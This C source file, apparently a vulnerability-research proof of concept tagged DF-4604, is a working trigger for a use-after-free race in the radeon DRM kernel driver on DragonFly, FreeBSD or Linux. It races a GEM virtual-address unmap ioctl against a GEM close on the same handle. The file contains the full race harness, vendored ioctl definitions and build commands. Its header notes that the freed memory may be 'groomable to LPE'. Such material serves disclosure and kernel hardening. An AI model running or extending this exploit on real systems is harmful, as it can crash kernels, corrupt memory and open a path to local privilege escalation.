DF-4604 / radeon_va_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 | /* * DF-4604 - radeon_gem_va_ioctl bo_va use-after-free trigger * ----------------------------------------------------------- * Race: thread A issues DRM_IOCTL_RADEON_GEM_VA (UNMAP) while thread B * (same DRM fd => same file_priv/radeon_fpriv/vm) issues DRM_IOCTL_GEM_CLOSE * on the same GEM handle. * * Kernel path (sys/dev/drm/radeon): * A: radeon_gem_va_ioctl() radeon_gem.c:671 reserve rbo * radeon_vm_bo_find() radeon_gem.c:677 bo_va (lifetime * guaranteed ONLY by * the reservation) * radeon_vm_bo_set_addr(0,0) radeon_gem.c:696 UNRESERVES rbo * internally (radeon_vm.c:538/:581) * radeon_gem_va_update_vm(bo_va) radeon_gem.c:702 *** WINDOW OPEN *** * bo_va->bo deref radeon_gem.c:565 * bo_va->vm deref radeon_gem.c:569 * ttm_eu_reserve_buffers() radeon_gem.c:573 * bo_va->vm->mutex lock radeon_gem.c:585 * bo_va->it.start read radeon_gem.c:590 * * B: DRM_IOCTL_GEM_CLOSE -> drm_gem_handle_delete (drm_gem.c:336) * -> radeon_gem_object_close() radeon_gem.c:193 reserve rbo * (succeeds in the * window above) * -> --bo_va->ref_count == 0 radeon_gem.c:201 * -> radeon_vm_bo_rmv() radeon_gem.c:202 * -> kfree(bo_va) radeon_vm.c:1137 (UNMAP case: * it.start==0 => * immediate free) * * On success (i.e. on real Cayman-or-newer radeon hardware) this corrupts * freed kernel memory from radeon_gem_va_update_vm(); expected symptom is a * kernel panic in ttm_eu_reserve_buffers / radeon_vm_bo_update / mutex * machinery, or silent memory corruption groomable to LPE. * * Self-contained: vendors the small slice of the radeon/drm UAPI needed, so * it builds against a bare DragonFly/FreeBSD/Linux userland without drm * headers. * * Build: cc -O2 -pthread -o radeon_va_uaf radeon_va_uaf.c * Run: ./radeon_va_uaf [/dev/dri/card0|/dev/dri/renderD128] [iters] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> #if defined(__linux) #include <sys/ioctl.h> #else /* BSD: DragonFly/FreeBSD */ #endif /* ---- vendored UAPI (mirrors sys/dev/drm/include/uapi/drm/{drm,radeon_drm}.h) ---- */ typedef unsigned int u32_v; typedef unsigned long long u64_v; #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 struct drm_radeon_gem_create { u64_v size; u64_v alignment; u32_v handle; u32_v initial_domain; u32_v flags; }; struct drm_radeon_gem_va { u32_v handle; u32_v operation; u32_v vm_id; u32_v flags; u64_v offset; }; struct drm_gem_close { u32_v handle; u32_v pad; }; #define RADEON_GEM_DOMAIN_CPU 0x1 #define RADEON_GEM_DOMAIN_GTT 0x2 #define RADEON_GEM_DOMAIN_VRAM 0x4 #define RADEON_VA_MAP 1 #define RADEON_VA_UNMAP 2 #define RADEON_VA_RESULT_OK 0 #define RADEON_VA_RESULT_ERROR 1 #define RADEON_VA_RESULT_VA_EXIST 2 #define DRM_RADEON_GEM_CREATE_NR 0x1d #define DRM_RADEON_GEM_VA_NR 0x2b #define IOCTL_RADEON_GEM_CREATE \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_GEM_CREATE_NR, struct drm_radeon_gem_create) #define IOCTL_RADEON_GEM_VA \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_GEM_VA_NR, struct drm_radeon_gem_va) #define IOCTL_DRM_GEM_CLOSE \ _IOW(DRM_IOCTL_BASE, 0x09, struct drm_gem_close) /* ---- race harness ---- */ #define RADEON_VA_RESERVED_SIZE (8ULL << 20) #define MAP_BASE (1ULL << 32) /* any address > reserved, GPU-page aligned */ static int drm_fd = -1; static volatile u32_v cur_handle; static volatile int phase; /* 0=idle, 1=A mapping, 2=race armed, 3=done */ static pthread_barrier_t bar; static unsigned long iterations = 20000; static unsigned long hits, a_wins, b_wins; static void *threadB(void *arg) { unsigned long i; for (i = 0; i < iterations; i++) { struct drm_gem_close gc; /* wait until A has mapped and is about to UNMAP */ while (phase != 2) ; memset(&gc, 0, sizeof(gc)); gc.handle = cur_handle; /* * This close blocks on radeon_bo_reserve() while A still owns * the reservation inside radeon_vm_bo_set_addr(); the moment * set_addr internally unreserves (radeon_vm.c:538), we are * woken, find bo_va, drop ref_count 1->0 and kfree(bo_va) * (radeon_vm.c:1137) while A is on its way to * radeon_gem_va_update_vm(rdev, bo_va) radeon_gem.c:702. */ if (ioctl(drm_fd, IOCTL_DRM_GEM_CLOSE, &gc) == 0) b_wins++; else hits++; /* closed late/early: handle already gone */ phase = 3; } return NULL; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/card0"; pthread_t tb; unsigned long i; if (argc > 2) iterations = strtoul(argv[2], NULL, 0); drm_fd = open(node, O_RDWR); if (drm_fd < 0) { int fd2 = open("/dev/dri/renderD128", O_RDWR); if (fd2 < 0) { printf("SKIP: cannot open %s (or renderD128): %s\n", node, strerror(errno)); printf("SKIP: no DRM device on this machine - " "this trigger requires radeon KMS hardware " "(Cayman or newer, vm_manager enabled).\n"); return 3; } drm_fd = fd2; } if (pthread_barrier_init(&bar, NULL, 2) != 0) return 2; if (pthread_create(&tb, NULL, threadB, NULL) != 0) return 2; for (i = 0; i < iterations; i++) { struct drm_radeon_gem_create gc; struct drm_radeon_gem_va va; u64_v off = MAP_BASE + ((u64_v)(i & 0xffff) << 12); memset(&gc, 0, sizeof(gc)); gc.size = 4096; gc.alignment = 0; gc.initial_domain = RADEON_GEM_DOMAIN_VRAM | RADEON_GEM_DOMAIN_GTT; if (ioctl(drm_fd, IOCTL_RADEON_GEM_CREATE, &gc) || !gc.handle) { fprintf(stderr, "iter %lu: GEM_CREATE failed: %s\n", i, strerror(errno)); break; } cur_handle = gc.handle; /* MAP (also exercises the window; UNMAP below is the clean * immediate-kfree variant) */ phase = 1; memset(&va, 0, sizeof(va)); va.handle = gc.handle; va.operation = RADEON_VA_MAP; va.vm_id = 0; va.flags = 0x2 | 0x4; /* READABLE|WRITEABLE (VALID/SYSTEM banned) */ va.offset = off; if (ioctl(drm_fd, IOCTL_RADEON_GEM_VA, &va)) { if (errno == ENOTTY) { fprintf(stderr, "VM manager not enabled " "(need Cayman+ accel working)\n"); goto out; } fprintf(stderr, "iter %lu: VA MAP failed: %s\n", i, strerror(errno)); goto out; } /* arm the race: B starts closing NOW; A immediately UNMAPs */ phase = 2; memset(&va, 0, sizeof(va)); va.handle = gc.handle; va.operation = RADEON_VA_UNMAP; va.vm_id = 0; va.flags = 0; va.offset = 0; if (ioctl(drm_fd, IOCTL_RADEON_GEM_VA, &va) == 0) a_wins++; while (phase != 3) ; } out: phase = 3; pthread_join(tb, NULL); printf("done: iters=%lu va_ok=%lu close_ok=%lu close_err=%lu\n", iterations, a_wins, b_wins, hits); printf("If the kernel survived, watch for panics in " "ttm_eu_reserve_buffers/radeon_vm_bo_update and run with " "WITNESS/INVARIANTS.\n"); return 0; } |